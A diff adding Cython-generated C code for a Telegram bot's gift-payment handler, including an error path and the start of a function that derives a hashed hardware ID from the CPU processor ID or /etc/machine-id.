__Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L17_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 162, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 162, __pyx_L6_error) + } + } + + /* "handlers/payments/gift.py":148 + * return + * + * try: # <<<<<<<<<<<<<< + * await update_balance(tg_id, -price) + * + */ + } + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L11_try_end; + __pyx_L6_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":170 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * await callback_query.message.answer(text=f" : {e}\n, .") + * + */ + __pyx_t_16 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_16) { + __Pyx_AddTraceback("handlers.payments.gift.finalize_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_3, &__pyx_t_1) < 0) __PYX_ERR(0, 170, __pyx_L8_except_error) + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_e = __pyx_t_3; + /*try:*/ { + + /* "handlers/payments/gift.py":171 + * ) + * except Exception as e: + * await callback_query.message.answer(text=f" : {e}\n, .") # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_answer); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_14 = PyTuple_New(3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = 0; + __pyx_t_13 = 127; + __Pyx_INCREF(__pyx_kp_u__33); + __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; + __pyx_t_12 += 31; + __Pyx_GIVEREF(__pyx_kp_u__33); + PyTuple_SET_ITEM(__pyx_t_14, 0, __pyx_kp_u__33); + __pyx_t_17 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_17); + __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) : __pyx_t_13; + __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_17); + __Pyx_GIVEREF(__pyx_t_17); + PyTuple_SET_ITEM(__pyx_t_14, 1, __pyx_t_17); + __pyx_t_17 = 0; + __Pyx_INCREF(__pyx_kp_u__34); + __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; + __pyx_t_12 += 30; + __Pyx_GIVEREF(__pyx_kp_u__34); + PyTuple_SET_ITEM(__pyx_t_14, 2, __pyx_kp_u__34); + __pyx_t_17 = __Pyx_PyUnicode_Join(__pyx_t_14, 3, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_17) < 0) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __pyx_t_17 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 171, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_17); + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L25_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 171, __pyx_L23_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 171, __pyx_L23_error) + } + } + } + + /* "handlers/payments/gift.py":170 + * reply_markup=builder.as_markup(), + * ) + * except Exception as e: # <<<<<<<<<<<<<< + * await callback_query.message.answer(text=f" : {e}\n, .") + * + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L24; + } + __pyx_L23_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22) < 0)) __Pyx_ErrFetch(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_25); + __pyx_t_16 = __pyx_lineno; __pyx_t_18 = __pyx_clineno; __pyx_t_19 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_ExceptionReset(__pyx_t_23, __pyx_t_24, __pyx_t_25); + } + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ErrRestore(__pyx_t_20, __pyx_t_21, __pyx_t_22); + __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; + __pyx_lineno = __pyx_t_16; __pyx_clineno = __pyx_t_18; __pyx_filename = __pyx_t_19; + goto __pyx_L8_except_error; + } + __pyx_L24:; + } + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + goto __pyx_L7_exception_handled; + } + goto __pyx_L8_except_error; + + /* "handlers/payments/gift.py":148 + * return + * + * try: # <<<<<<<<<<<<<< + * await update_balance(tg_id, -price) + * + */ + __pyx_L8_except_error:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + goto __pyx_L1_error; + __pyx_L7_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); + __pyx_L11_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/gift.py":137 + * + * + * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< + * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): + * """ .""" + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_17); + __Pyx_AddTraceback("finalize_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "handlers/payments/gift.py":174 + * + * + * def get_hardware_id(): # <<<<<<<<<<<<<< + * """ + * hardware-. + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_16get_hardware_id(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_15get_hardware_id, "\n \320\223\320\265\320\275\320\265\321\200\320\260\321\206\320\270\321\217 \321\203\320\275\320\270\320\272\320\260\320\273\321\214\320\275\320\276\320\263\320\276 \320\270\320\264\320\265\320\275\321\202\320\270\321\204\320\270\320\272\320\260\321\202\320\276\321\200\320\260 \321\203\321\201\321\202\321\200\320\276\320\271\321\201\321\202\320\262\320\260 \320\275\320\260 \320\276\321\201\320\275\320\276\320\262\320\265 hardware-\320\270\320\275\321\204\320\276\321\200\320\274\320\260\321\206\320\270\320\270.\n "); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_16get_hardware_id = {"get_hardware_id", (PyCFunction)__pyx_pw_8handlers_8payments_4gift_16get_hardware_id, METH_NOARGS, __pyx_doc_8handlers_8payments_4gift_15get_hardware_id}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_16get_hardware_id(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) { + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("get_hardware_id (wrapper)", 0); + __pyx_kwvalues = __Pyx_KwValues_VARARGS(__pyx_args, __pyx_nargs); + __pyx_r = __pyx_pf_8handlers_8payments_4gift_15get_hardware_id(__pyx_self); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_15get_hardware_id(CYTHON_UNUSED PyObject *__pyx_self) { + PyObject *__pyx_v_result = NULL; + PyObject *__pyx_v_f = NULL; + PyObject *__pyx_v_hardware_id = NULL; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + PyObject *__pyx_t_15 = NULL; + PyObject *__pyx_t_16 = NULL; + int __pyx_t_17; + int __pyx_t_18; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("get_hardware_id", 1); + + /* "handlers/payments/gift.py":178 + * hardware-. + * """ + * try: # <<<<<<<<<<<<<< + * if platform.system() == "Windows": + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + */ + { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + /*try:*/ { + + /* "handlers/payments/gift.py":179 + * """ + * try: + * if platform.system() == "Windows": # <<<<<<<<<<<<<< + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + * else: + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_platform); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 179, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_system); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 179, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_t_8 = (__Pyx_PyUnicode_Equals(__pyx_t_4, __pyx_n_u_Windows, Py_EQ)); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 179, __pyx_L3_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (__pyx_t_8) { + + /* "handlers/payments/gift.py":180 + * try: + * if platform.system() == "Windows": + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() # <<<<<<<<<<<<<< + * else: + * with open("/etc/machine-id") as f: + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_subprocess); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_check_output); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_shell, Py_True) < 0) __PYX_ERR(0, 180, __pyx_L3_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__35, __pyx_t_9); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_decode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_split); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_kp_u__36}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_t_9 = __Pyx_GetItemInt(__pyx_t_6, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_strip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, NULL}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_v_result = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/gift.py":179 + * """ + * try: + * if platform.system() == "Windows": # <<<<<<<<<<<<<< + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + * else: + */ + goto __pyx_L9; + } + + /* "handlers/payments/gift.py":182 + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + * else: + * with open("/etc/machine-id") as f: # <<<<<<<<<<<<<< + * result = f.read().strip() + * + */ + /*else*/ { + /*with:*/ { + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_builtin_open, __pyx_tuple__37, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 182, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_12 = __Pyx_PyObject_LookupSpecial(__pyx_t_4, __pyx_n_s_exit); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 182, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_9 = __Pyx_PyObject_LookupSpecial(__pyx_t_4, __pyx_n_s_enter); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 182, __pyx_L10_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_9); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_9, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 182, __pyx_L10_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_t_9 = __pyx_t_6; + __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + /*try:*/ { + { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ExceptionSave(&__pyx_t_13, &__pyx_t_14, &__pyx_t_15); + __Pyx_XGOTREF(__pyx_t_13); + __Pyx_XGOTREF(__pyx_t_14); + __Pyx_XGOTREF(__pyx_t_15); + /*try:*/ { + __pyx_v_f = __pyx_t_9; + __pyx_t_9 = 0; + + /* "handlers/payments/gift.py":183 + * else: + * with open("/etc/machine-id") as f: + * result = f.read().strip() # <<<<<<<<<<<<<< + * + * hardware_id = hashlib.sha256(result.encode()).hexdigest() + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_f, __pyx_n_s_read); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, __pyx_L14_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 183, __pyx_L14_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_strip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, __pyx_L14_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_7 = 0; + #if 